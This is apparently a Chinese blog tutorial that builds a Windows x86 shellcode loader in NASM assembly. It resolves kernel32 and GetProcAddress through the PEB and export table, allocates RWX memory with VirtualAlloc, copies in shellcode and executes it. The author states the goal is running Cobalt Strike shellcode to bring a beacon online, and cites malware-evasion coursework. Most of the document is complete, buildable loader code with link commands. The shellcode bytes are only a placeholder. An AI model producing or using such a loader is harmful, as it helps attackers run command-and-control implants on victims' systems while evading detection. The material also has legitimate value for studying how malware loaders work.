汇编语言加载shellcode

前言

shellcode加载器最后的归宿 by 汇编语言!!

环境准备

关于汇编ide,最开始我使用的是vs的内联汇编来调试。后面发现它非常的不方便,它只支持masm,而我要写是nasm。最后在github上找到了SASM。下载的时候选择SASMSetup.exe。

安装好后,要重新设置汇编器路径与链接器路径。nasm.exe和gcc.exe都在sasm路径下

定位DLL基址

在汇编语言中,如果想调用Windows API,首先需要定位此函数所在的dll地址。既然编写shellcode加载器,那么我们这里直接定位VirtualAlloc。通过查询msdn,可知VirtualAllocKernel32.dll中。定位流程如下

1.通过FS寄存器取得PEB地址
2.取得 PEB_LDR_DATA 地址
3.取得 InInitializationOrderModuleList 地址
4.取得 kernel32.dll 的 Base Address

PEB的相关知识,移步PEB结构:获取模块kernel32基址技术及原理分析

下面的代码,通过遍历InInitializationOrderModuleList可直接看到dll的加载顺序

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

// 定义peb结构
//https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063
typedef struct  _PEB_LDR_DATA
{
	ULONG Length;
	BOOLEAN Initialized;
	HANDLE SsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
	PVOID EntryInProgress;
	BOOLEAN ShutdownInProgress;
	HANDLE ShutdownThreadId;
}PEB_LDR_DATA, * PPEB_LDR_DATA;

//https://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008
typedef struct _PEB
{
	BOOLEAN InheritedAddressSpace;
	BOOLEAN ReadImageFileExecOptions;
	BOOLEAN BeingDebugged;
	union
	{
		BOOLEAN BitField;
		struct
		{
			BOOLEAN ImageUsesLargePages : 1;
			BOOLEAN IsProtectedProcess : 1;
			BOOLEAN IsImageDynamicallyRelocated : 1;
			BOOLEAN SkipPatchingUser32Forwarders : 1;
			BOOLEAN IsPackagedProcess : 1;
			BOOLEAN IsAppContainer : 1;
			BOOLEAN IsProtectedProcessLight : 1;
			BOOLEAN SpareBits : 1;
		};
	};
	HANDLE Mutant;
	PVOID ImageBaseAddress;
	PEB_LDR_DATA* Ldr;
	//...
} PEB, * PPEB;

typedef struct
{
	USHORT Length;
	USHORT MaximumLength;
	PWCH Buffer;
}UNICODE_STRING;

//https://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102
typedef struct  _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	union
	{
		LIST_ENTRY InInitializationOrderLinks;
		LIST_ENTRY InProgressLinks;
	};
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;

	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	//...
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

int main()
{
	// 32位fs:[0x30]
	PEB* peb = (PEB*)__readfsdword(0x30);;

	PEB_LDR_DATA* ldr = peb->Ldr;
	// 头指针
	LIST_ENTRY* moduleList = &ldr->InInitializationOrderModuleList;
	// 头结点
	LIST_ENTRY* list = moduleList->Flink;
	PVOID hKernel32 = NULL;

	while (list != moduleList)
	{
		LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - 2 * sizeof(LIST_ENTRY));
		wprintf(L"%s\n", pEntry->FullDllName.Buffer);
		list = list->Flink;
	}
}

可看到第一个dll是ntdll.dll,第二个是KERNELBASE.dll,第三个是KERNEL32.DLL

定位kernel32.dll基址的汇编代码

mov ebx, [fs:0x30]      ; EBX = PEB
mov ebx, [ebx + 0xc]    ; EBX = PEB->ldr
mov ebx, [ebx + 0x1C]   ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll
mov ebx, [ebx]          ; EBX = kernelbase.dll
mov ebx, [ebx]          ; EBX = kernel32.dll
mov ebx, [ebx + 0x8]    ; EBX = Base address

解释下上面的代码,[fs:0x30] 指向的就是PEB地址。

再通过VERGILIUS,查询PEB结构定义,得知PEB地址偏移0xc定位到PEB_LDR_DATA

继续偏移0x1C,定位到InInitializationOrderModuleList,同时也定位到了ntdll.dll

LIST_ENTRY是一个链表,再遍历链表成员的Flink两次,第一次[ebx]定位到kernelbase.dll,第二次[ebx]定位到kernel32.dll

同时LIST_ENTRY又是LDR_DATA_TABLE_ENTRY结构的成员,而我们最开始是通过遍历InInitializationOrderLinks来获取信息的,所以此时真正的位置是在LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks=0x10,而0x18是dll的基址。0x18-0x10=0x8。这也是[ebx + 0x8]就能定位到dll基址的原因。

下个断点,进行调试,ebx=0x77300000,和下图获取到的kernel32.dll基址一样,说明代码没毛病

定位函数地址

接下来就是解析PE,你必须深入了解PE结构,才能看懂下面的代码和流程

1.取得NT Header地址
2.取得 Export table 地址
3.取得 AddressOfNameOrdinals
4.取得目标函数地址

定位到导入表RVA

mov edx, [ebx + 0x3c]   ; EDX = DOS->e_lfanew           
add edx, ebx            ; EDX = PE Header               
mov edx, [edx + 0x78]   ; EDX = Offset export table     
add edx, ebx            ; EDX = Export table

导入表的RVA=edx=0x92240

分析C:\Windows\SysWOW64\kernel32.dll的PE结构,可看到导出表的RVA一样是0x92240

接下来先找到GetProcAddress函数地址

mov esi, [edx + 0x20]   ; ESI = Offset namestable       
add esi, ebx            ; ESI = Names table             
xor ecx, ecx            ; EXC = 0
mov eax, ebx
    
Get_Function:                                                          

    inc ecx                                ; Increment the ordinal         
    lodsd                                  ; Get name offset               
    add eax, ebx                           ; Get function name             
    cmp dword [eax], 0x50746547            ; GetP                          
    jnz Get_Function                                                       
    cmp dword [eax + 0x4], 0x41636f72      ; rocA                          
    jnz Get_Function                                                       
    cmp dword [eax + 0x8], 0x65726464      ; ddre                          
    jnz Get_Function                                
                                               
mov esi, [edx + 0x24]                  ; ESI = Offset ordinals         
add esi, ebx                           ; ESI = Ordinals table          
mov cx, [esi + ecx * 2]                ; Number of function            
dec ecx                                                                
mov esi, [edx + 0x1c]                  ; Offset address table          
add esi, ebx                           ; ESI = Address table           
mov edx, [esi + ecx * 4]               ; EDX = Pointer(offset)         
add edx, ebx                           ; EDX = GetProcAddress

GetProcAddress函数地址 = edx = 0x77315f20

我们不直接定位VirtualAlloc,而是先获取到GetProcAddress的原因在于,后面就可以调用GetProcAddress来帮助我们找到想要的函数地址。

插句题外话,在导出表中可看到GetProcAddressRVA为0x15F20,而前面获取到的kernel32.dll基址=0x77300000。那么GetProcAddress的真正函数地址=0x15F20+0x77300000=0x77315F20

GetProcAddress函数定义如下

FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

windows调用API传递参数都是从右向左传递,因此第一个要传递的参数是lpProcName,即函数名称。将字符串压入栈中,最后再压入esp寄存器,代表字符串传参完毕

; Get VirtualAlloc Address
push 0
push dword 0x636F6C6C   ; lloc
push dword 0x416C6175   ; ualA
push dword 0x74726956   ; Virt
push esp
push ebx                ; Kernel32.DLL Base Addr
call edx                ; GetProcAddress Addr

当函数调用成功后,返回值存放在EAX寄存器,EAX=0x77315ED0

执行shellcode

调用VirtualAlloc

; EAX = VirtualAlloc Address
push 0x40               ; PAGE_EXECUTE_READWRITE
push 0x1000             ; MEM_COMMIT
push 0x1000             ; shellcode size
push 0                  ; NULL
call eax                ; VirtualAlloc Addr

成功在0x20000开辟了RWX属性的空间

定义一个数据段,来存放我们的shellcode,将cs生成的32位shellcode放到对应的位置

section .data
shellcode db 0xfc, 0xe8, 0x89 ; put shellcode here
len equ $ - shellcode ; Get shellcode Size

将shellcode复制到我们申请的内存中去

; Copy Shellcode to Memory
mov ecx, len
mov esi, shellcode       
mov edi, eax
cld
rep movsb

shellcode成功复制了过去

最后一步,call eax执行shellcode,上线cs

完整代码

; runshellcode.asm
; %include "io.inc"
global CMAIN

section .data
shellcode db 0xfc, 0xe8, 0x89 ; put shellcode here
len equ $ - shellcode ; Get shellcode Size

section .text

CMAIN:        
    mov ebx, [fs:0x30]      ; EBX = PEB
    mov ebx, [ebx + 0xc]    ; EBX = PEB->ldr
    mov ebx, [ebx + 0x1C]   ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll
    mov ebx, [ebx]          ; EBX = kernelbase.dll
    mov ebx, [ebx]          ; EBX = kernel32.dll
    mov ebx, [ebx + 0x8]    ; EBX = Base address

    mov edx, [ebx + 0x3c]   ; EDX = DOS->e_lfanew           
    add edx, ebx            ; EDX = PE Header               
    mov edx, [edx + 0x78]   ; EDX = Offset export table     
    add edx, ebx            ; EDX = Export table 
                
    mov esi, [edx + 0x20]   ; ESI = Offset namestable       
    add esi, ebx            ; ESI = Names table             
    xor ecx, ecx            ; EXC = 0
    mov eax, ebx
    
    Get_Function:                                                          

        inc ecx                                ; Increment the ordinal         
        lodsd                                  ; Get name offset               
        add eax, ebx                           ; Get function name             
        cmp dword [eax], 0x50746547            ; GetP                          
        jnz Get_Function                                                       
        cmp dword [eax + 0x4], 0x41636f72      ; rocA                          
        jnz Get_Function                                                       
        cmp dword [eax + 0x8], 0x65726464      ; ddre                          
        jnz Get_Function                
                                               
    mov esi, [edx + 0x24]                  ; ESI = Offset ordinals         
    add esi, ebx                           ; ESI = Ordinals table          
    mov cx, [esi + ecx * 2]                ; Number of function            
    dec ecx                                                                
    mov esi, [edx + 0x1c]                  ; Offset address table          
    add esi, ebx                           ; ESI = Address table           
    mov edx, [esi + ecx * 4]               ; EDX = Pointer(offset)         
    add edx, ebx                           ; EDX = GetProcAddress  
    
    ; EDX = GetProcAddress
    ; EBX = Kernel32.DLL Base Addr
    
    ; Get VirtualAlloc Address
    push 0
    push dword 0x636F6C6C   ; lloc
    push dword 0x416C6175   ; ualA
    push dword 0x74726956   ; Virt
    push esp
    push ebx                ; Kernel32.DLL Base Addr
    call edx                ; GetProcAddress Addr
    
    ; EAX = VirtualAlloc Address
    push 0x40               ; PAGE_EXECUTE_READWRITE
    push 0x1000             ; MEM_COMMIT
    push 0x1000             ; shellcode size
    push 0                  ; NULL
    call eax                ; VirtualAlloc Addr
    
    ; Copy Shellcode to Memory
    mov ecx, len
    mov esi, shellcode       
    mov edi, eax
    cld
    rep movsb
    
    ; Exec shellcode
    call eax
    
    ret

编译

如果使用SASM自带的gcc编译器,生成的exe非常的大

而汇编语言生成的目标文件经过链接后的体积非常小,使用nasm汇编器进行汇编

nasm -f win32 runshellcode.asm

生成Obj文件后,使用VS Link 链接器进行编译

link.exe /OUT:"runshellcode.exe" /MACHINE:X86 /SUBSYSTEM:WINDOWS /NOLOGO /TLBID:1 /ENTRY:CMAIN .\runshellcode.obj

小才是汇编的精髓,仅有3.5KB!

参考文章

x32 PEB: 获取Kernel32基地址的原理及实现
x32 PEB: 获取Kernel32基地址的原理及实现(备用链接)
PEB结构:获取模块kernel32基址技术及原理分析
欢迎来到实力至上主义的 Shellcode (上) - Windows x86 Shellcode
欢迎来到实力至上主义的 Shellcode (下) - Windows x86 Shellcode
静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器

查看评论 -
评论